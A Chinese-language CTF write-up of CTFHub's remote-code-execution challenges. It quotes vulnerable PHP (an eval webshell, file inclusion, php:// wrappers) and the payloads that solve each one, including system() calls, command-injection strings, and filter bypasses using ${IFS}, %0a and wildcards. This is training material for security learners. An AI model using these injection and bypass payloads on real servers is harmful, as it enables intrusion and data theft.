CTFHub – RCE
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
eval执行文件
查看一开始的源代码:
<?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>
php函数意思是:
是否由变量cmd 如果有,就执行eval($_REQUEST['cmd']);
也就是 木马
__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture
所以我们在访问的时候使用变量 cmd
/?cmd=system("ls");
此处因为根目录无flag 所以看上一级目录
/?cmd=system("ls /");
然后查找flag:
/?cmd=system("cat /flag_5647");
文件包含
<?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i have a <a href="shell.txt">shell</a>, how to use it ?
根据页面的源码,知道可以GET方式传入一个file参数,传入的file将会被inlcude包含,因此被包含文件中的命令也会被当做PHP指令执行。
点击页面上的shell,可以看到shell.txt的内容:
可知,题目已经提供了一句话木马,所以我们的目标就是在index页面包含shell.txt,然后将ctfhub参数传入,以执行我们想要执行的命令,这里还需要注意,传入的命令中不能包含flag字符串,这里可以使用通配符来绕过。payload:
http://challenge-2f034509829299a7.sandbox.ctfhub.com:10080/?file=shell.txt
拿到flag
php://input
<?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> <a href="phpinfo.php">phpinfo</a>
根据题目提示,可以查看phpinfo();的内容,结合题目的名称,查找php://input的相关设置:
如果文件名前六个如果是:php://则执行include包含函数。
所以可以使用php://input来执行命令。
使用BP抓包来传递命令:
<?php eval(system('ls /'));?>
<?php eval(system('cat /flag_7470'));?>
远程包含
<?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag?<br> <a href="phpinfo.php">phpinfo</a>
<?php eval(system('ls /'));?>
<?php eval(system('cat /flag'));?>
读取源代码
题目中直接说
flag in
/flag所以我们直接使用 php://filter
?file=php://filter/resource=/flag
命令注入
1&ls
1&cat 36182730223783.php
右键检查源码:
命令注入-cat过滤
当cat被过滤后,可以使用一下命令进行读取文件的内容 (1)more:一页一页的显示的显示档案内容 (2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出tac是cat的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看
1&ls
1&head flag_175242870532150.php
命令注入-过滤空格
1&ls
可是回显的是空格被过滤了,那么使用<或${IFS}试试
1&cat<flag_3030418502354.php
命令注入-过滤目录分隔符
1;ls
发现文件夹flag_is_here,接下来我们使用cd命令,进入到文件夹,ls查看这个文件的内容
1;cd flag_is_here;ls
1;cd flag_is_here;cat flag_11777116454279.php
命令注入-过滤运算符
过滤了管道符 |
1;ls
1;cat flag_66881021512.php
综合过滤练习
发现逗号 ;被过滤
使用%0a试试,发现ls命令被成功执行 在URL上输入/?ip=1%0als,在输入框输入不行
进入flag文件,并查询里面的内容 /?ip=1%0acd%09f*%0als
%09代替空格(${IFS}代替空格) %0a代替 ; f*代替flag文件 查看flag的内容 /?ip=1%0acd%09f*%0atac%09fl*